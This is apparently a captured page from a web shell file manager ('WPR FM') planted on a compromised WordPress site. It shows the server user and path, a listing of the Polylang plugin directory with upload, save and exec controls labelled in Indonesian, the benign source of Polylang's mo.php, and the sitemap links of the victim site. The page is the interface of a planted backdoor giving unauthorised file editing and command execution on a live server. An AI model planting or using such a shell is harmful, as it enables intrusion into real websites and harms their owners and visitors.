WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
D
Capabilities/
D
Model/
D
Options/
D
Switcher/
D
Widgets/
D
admin/
-
api.php
25969
x
-
base.php
6365
x
-
cache.php
2454
x
-
class-polylang.php
8537
x
-
constant-functions.php
1853
x
-
cookie.php
3104
x
-
crud-posts.php
17576
x
-
crud-terms.php
8962
x
-
default-term.php
6885
x
-
filter-rest-routes.php
5100
x
-
filters-links.php
5780
x
-
filters-sanitization.php
3311
x
-
filters-widgets-options.php
2697
x
-
filters.php
13248
x
-
format-util.php
3114
x
D
frontend/
-
functions.php
9939
x
D
install/
D
integrations/
-
language-deprecated.php
7296
x
-
language-factory.php
10570
x
-
language.php
20529
x
-
license.php
9620
x
-
links-abstract-domain.php
3240
x
-
links-default.php
3100
x
-
links-directory.php
9736
x
-
links-domain.php
2980
x
-
links-model.php
6678
x
-
links-permalinks.php
5753
x
-
links-subdomain.php
2209
x
-
links.php
1415
x
-
mo.php
3504
x
-
model.php
25147
x
D
modules/
-
nav-menu.php
4609
x
-
olt-manager.php
3056
x
-
query.php
7913
x
-
rest-request.php
4325
x
D
settings/
-
static-pages.php
6418
x
-
term-slug.php
5012
x
-
translatable-object-with-types-interface.php
1055
x
-
translatable-object-with-types-trait.php
2005
x
-
translatable-object.php
19626
x
-
translatable-objects.php
3788
x
-
translate-option.php
13417
x
-
translated-object.php
19479
x
-
translated-post.php
17526
x
-
translated-term.php
16041
x
-
walker-dropdown.php
3835
x
-
walker.php
2434
x
Upload
Simpan
<?php /** * @package Polylang */ /** * Manages strings translations storage. * A static cache is used internally to enhance performances, * for it to work as expected, use `import_from_db` for the cache to be used * and `export_to_db` for the cache to be cleared. * * @since 1.2 * @since 2.1 Stores the strings in a post meta instead of post content to avoid unserialize issues (See #63) * @since 3.4 Stores the strings into language taxonomy term meta instead of a post meta. */ class PLL_MO extends MO { /** * Static cache for the translations. * * @var PLL_Cache<array> */ private static $cache; /** * Constructor, initializes the cache if not already done. * * @since 3.7 */ public function __construct() { if ( empty( self::$cache ) ) { self::$cache = new PLL_Cache(); } } /** * Writes the strings into a term meta. * * @since 1.2 * * @param PLL_Language $lang The language in which we want to export strings. * @return void */ public function export_to_db( $lang ) { /* * It would be convenient to store the whole object, but it would take a huge space in DB. * So let's keep only the strings in an array. * The strings are slashed to avoid breaking slashed strings in update_term_meta. * @see https://codex.wordpress.org/Function_Reference/update_post_meta#Character_Escaping. */ $strings = array(); foreach ( $this->entries as $entry ) { if ( '' !== $entry->singular ) { $strings[] = wp_slash( array( $entry->singular, $this->translate( $entry->singular ) ) ); } } update_term_meta( $lang->term_id, '_pll_strings_translations', $strings ); self::$cache->clean( $lang->slug ); } /** * Reads a PLL_MO object from the term meta. * * @since 1.2 * @since 3.4 Reads a PLL_MO from the term meta. * * @param PLL_Language $lang The language in which we want to get strings. * @return void */ public function import_from_db( $lang ) { $this->set_header( 'Language', $lang->slug ); if ( ! empty( self::$cache->get( $lang->slug ) ) ) { $this->entries = self::$cache->get( $lang->slug ); return; } $strings = get_term_meta( $lang->term_id, '_pll_strings_translations', true ); if ( empty( $strings ) || ! is_array( $strings ) ) { self::$cache->set( $lang->slug, array() ); return; } foreach ( $strings as $msg ) { if ( '' === $msg[0] || '' === $msg[1] ) { continue; } $entry = $this->make_entry( $msg[0], $msg[1] ); if ( '' !== $entry->singular ) { $this->add_entry( $entry ); } } self::$cache->set( $lang->slug, $this->entries ); } /** * Deletes a string * * @since 2.9 * * @param string $string The source string to remove from the translations. * @return void */ public function delete_entry( $string ) { unset( $this->entries[ $string ] ); } /** * Translates a string or returns false if the translation is not found. * Contrary to `self::translate()`, this method doesn't fallback to the source string but returns empty string instead. * * @since 3.7 * * @param string $source The source string to translate. * @return string The translated string or empty string if not found. */ public function translate_if_any( string $source ) { $entry = new Translation_Entry( array( 'singular' => $source ) ); $entry = $this->translate_entry( $entry ); if ( ! $entry instanceof Translation_Entry || empty( $entry->translations ) ) { return ''; } return $entry->translations[0]; } }
Exec
https://plant-my-tree.de/post-sitemap1.xml
2026-11-20T10:18:25+01:00
https://plant-my-tree.de/page-sitemap1.xml
2026-12-03T12:53:57+01:00
https://plant-my-tree.de/lp-sitemap1.xml
2026-12-02T08:42:41+01:00
https://plant-my-tree.de/ratgeber-sitemap1.xml
2026-11-24T10:16:19+01:00
https://plant-my-tree.de/aufforstungsflachen-sitemap1.xml
2026-11-23T12:04:20+01:00
https://plant-my-tree.de/blog-sitemap1.xml
2026-11-24T09:10:09+01:00
https://plant-my-tree.de/category-sitemap1.xml
https://plant-my-tree.de/post_tag-sitemap1.xml